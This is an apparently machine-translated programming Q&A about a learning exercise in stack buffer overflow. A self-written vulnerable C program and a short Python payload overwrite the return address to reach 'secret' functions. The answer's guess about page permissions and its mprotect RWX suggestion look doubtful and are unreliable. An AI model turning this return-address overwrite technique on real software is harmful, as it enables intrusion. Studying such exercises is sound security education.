出于教育目的,我正在尝试完成缓冲区流程,将程序指向不同的地址。
这是c程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
int main () {
char string[2];
puts("Input: ");
scanf("%s", string);
printf("You entered %s.\n", string);
return 0;
}
我使用gdb查找secret1的地址以及将my变量字符串偏移到RIP。使用此信息,我创建了以下python-exploit:
import struct
rip = 0x0000000100000e40
print("A"*24 + struct.pack("<q", rip))
到目前为止一切正常 - 程序跳转到secret1然后崩溃并出现“Segmentation fault”。
然而,如果我像这样扩展我的程序:
...
void secret1(void) {
puts("You found the secret function No. 1!\n");
}
void secret2(void) {
puts("You found the secret function No. 2!\n");
}
void secret3(void) {
puts("You found the secret function No. 3!\n");
}
...
......它不会跳转到任何功能,即使是新的假RIP也是正确的(即,secret1为0x0000000100000d6c,secret2为0x0000000100000d7e)。就gdb告诉我(或不是吗?)时,补偿保持不变。
我注意到,当程序“足够大”将秘密函数放在以0x100000 d 结尾的内存区域时,我的尝试都没有用。 - 它就像一个魅力的东西,当他们在0x100000 e ..
的某个地方当我在32位模式下编译它时,它也适用于多个秘密函数(地址相应地改变)但不是64位模式。
-fno-stack-protector // doesn't make any difference.
有人可以向我解释这个奇怪的行为吗?非常感谢你!
答案 0 :(得分:1)
也许创建多个隐藏函数会将它们全部放在没有执行权限的内存页面中...尝试使用mprotect明确赋予该页面RWX权限。可能是其他一些事情,但这是我要解决的第一个问题。
对于-fno-stack-protector gcc选项,我确信有一段时间在gcc 4.2.1上进行了混淆。但是在使用它之后,我已经了解到为了启用金丝雀堆栈保护,sizeof(buffer)&gt; = 8必须为true。此外,它必须是char缓冲区,除非您指定-fstack-protector-all或-fnostack-protector-all选项,这些选项即使对于不包含char缓冲区的函数也启用了canaries。我正在使用前面提到的gcc版本运行OS X 10.6.5 64位,并且在我正在编写的缓冲区溢出漏洞利用代码片段中,使用-fstack-protector-all编译时我的堆栈发生了变化而没有相关选项进行编译(可能是因为被利用的函数没有char缓冲区)。因此,如果您想确定已禁用或启用此功能,请确保使用选项的-all变体。